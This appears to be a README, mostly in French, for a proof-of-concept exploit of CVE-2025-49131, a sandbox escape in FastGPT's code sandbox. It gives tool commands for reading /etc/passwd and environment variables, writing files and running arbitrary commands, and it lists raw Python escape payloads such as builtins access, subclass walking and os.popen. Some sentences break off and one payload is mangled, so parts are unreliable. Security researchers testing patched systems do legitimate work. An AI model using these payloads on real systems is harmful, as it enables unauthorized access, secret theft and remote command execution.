
███████╗ █████╗ ███████╗████████╗ ██████╗ ██████╗ ████████╗
██╔════╝██╔══██╗██╔════╝╚══██╔══╝██╔════╝ ██╔══██╗╚══██╔══╝
█████╗ ███████║███████╗ ██║ ██║ ███╗██████╔╝ ██║
██╔══╝ ██╔══██║╚════██║ ██║ ██║ ██║██╔═══╝ ██║
██║ ██║ ██║███████║ ██║ ╚██████╔╝██║ ██║
╚═╝ ╚═╝ ╚═╝╚══════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝
███████╗ █████╗ ███╗ ██╗██████╗ ██████╗ ██████╗ ██╗ ██╗
██╔════╝██╔══██╗████╗ ██║██╔══██╗██╔══██╗██╔═══██╗╚██╗██╔╝
███████╗███████║██╔██╗ ██║██║ ██║██████╔╝██║ ██║ ╚███╔╝
╚════██║██╔══██║██║╚██╗██║██║ ██║██╔══██╗██║ ██║ ██╔██╗
███████║██║ ██║██║ ╚████║██████╔╝██████╔╝╚██████╔╝██╔╝ ██╗
╚══════╝╚═╝ ╚═╝╚═╝ ╚═══╝╚═════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝
███████╗███████╗ ██████╗ █████╗ ██████╗ ███████╗
██╔════╝██╔════╝██╔════╝██╔══██╗██╔══██╗██╔════╝
█████╗ ███████╗██║ ███████║██████╔╝█████╗
██╔══╝ ╚════██║██║ ██╔══██║██╔═══╝ ██╔══╝
███████╗███████║╚██████╗██║ ██║██║ ███████╗
╚══════╝╚══════╝ ╚═════╝╚═╝ ╚═╝╚═╝ ╚══════╝
╔═══════════════════════════════════════╗
║ CVE-2025-49131 | CVSS 6.3 ║
║ FastGPT Sandbox Container Escape ║
║ Affected: < v4.9.11 ║
╚═══════════════════════════════════════╝
Cet outil est réservé à la recherche en sécurité autorisée et à des fins éducatives uniquement.
CVE-2025-49131 est une vulnérabilité d'évasion de sandbox dans le conteneur fastgpt-sandbox de FastGPT. La vulnérabilité existe en raison de :
Une exploitation réussie permet à un attaquant de :
# Clone this repository
git clone https://github.com/Wenura17125/cve-2025-49131-poc.git
cd cve-2025-49131-poc
# Install dependencies
pip install -r requirements.txt
# Run vulnerability detection
python poc.py --target http://localhost:3001 --detect
# Read a file
python poc.py --target http://localhost:3001 --read /etc/passwd
# Attempt RCE
python poc.py --target http://localhost:3001 --rce "id"
# Start vulnerable and patched containers
docker-compose up -d
# Vulnerable sandbox on port 3001
# Patched sandbox on port 3002
python poc.py --target http://localhost:3001 --detect -v
python poc.py --target http://localhost:3001 --read /etc/passwd
python poc.py --target http://localhost:3001 --read /proc/self/environ
python poc.py --target http://localhost:3001 --write /tmp/pwned --content "CVE-2025-49131"
python poc.py --target http://localhost:3001 --import os
python poc.py --target http://localhost:3001 --import subprocess
python poc.py --target http://localhost:3001 --env
python poc.py --target http://localhost:3001 --rce "whoami"
python poc.py --target http://localhost:3001 --rce "cat /etc/passwd"
python poc.py --help
cve-2025-49131-poc/
├── poc.py # Main exploit script
├── payloads.py # Payload generator library
├── docker-compose.yml # Test environment
├── requirements.txt # Python dependencies
├── README.md # This file
└── tests/
└── test_exploit.py # Automated tests
La sandbox FastGPT est conçue pour exécuter du code soumis par l'utilisateur dans un environnement isolé. Cependant, les mécanismes d'isolation sont insuffisants :
Accès aux __builtins__ Python - La sandbox ne restreint pas correctement l'accès aux fonctions intégrées comme open(), __import__(), etc.
Filtrage des syscalls - La liste des syscalls autorisés inclut des appels dangereux qui permettent l'accès au système de fichiers.
Contournement des restrictions d'importation - De multiples techniques existent pour contourner les restrictions d'importation des modules.
┌─────────────────────────────────────────────┐
│ 1. Send malicious code to sandbox API │
└─────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────┐
│ 2. Bypass sandbox restrictions using: │
│ - __builtins__ manipulation │
│ - Subclass walking │
│ - Import bypass techniques │
└─────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────┐
│ 3. Gain access to: │
│ - File system (read/write) │
│ - os/subprocess modules │
│ - Environment variables │
└─────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────┐
│ 4. Impact: │
│ - Data exfiltration │
│ - Code injection │
│ - Remote command execution │
└─────────────────────────────────────────────┘
Lecture de fichier :
open('/etc/passwd', 'r').read()
__builtins__.open('/etc/passwd').read()
Contournement d'importation :
__import__('os')
__builtins__.__import__('os')
[x for x in ().__class__.__base__.__subclasses__()
if x.__name__=='catch_warnings'][0]()._module.__builtins__['__import__'](https://github.com/wenura17125/cve-2025-49131-poc/blob/HEAD/%27os%27)
RCE :
__import__('os').popen('id').read()
__import__('subprocess').check_output('id', shell=True)
Recherchez une activité suspecte dans les journaux de la sandbox :
/etc/passwd, /etc/shadow__builtins__, __import__| Date | Event |
|---|---|
| 2025-??-?? | Vulnérabilité découverte |
| 2025-??-?? | Fournisseur notifié |
| 2025-06-?? | Correctif publié (v4.9.11) |
| 2025-06-09 | Divulgation publique |
Ce projet est réservé à des fins éducatives et de recherche en sécurité autorisée uniquement. Utilisez-le de manière responsable.
Créé à des fins de recherche en sécurité. Obtenez toujours une autorisation appropriée avant de tester.
| Field | Value |
|---|
| Identifiant CVE | CVE-2025-49131 |
| Score CVSS | 6.3 (Moyen) |
| Vecteur CVSS | AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L |
| Type de vulnérabilité | Évasion de sandbox |
| Logiciel affecté | FastGPT (conteneur fastgpt-sandbox) |
| Versions affectées | < 4.9.11 |
| Version corrigée | 4.9.11+ |
| Date de divulgation | 9 juin 2025 |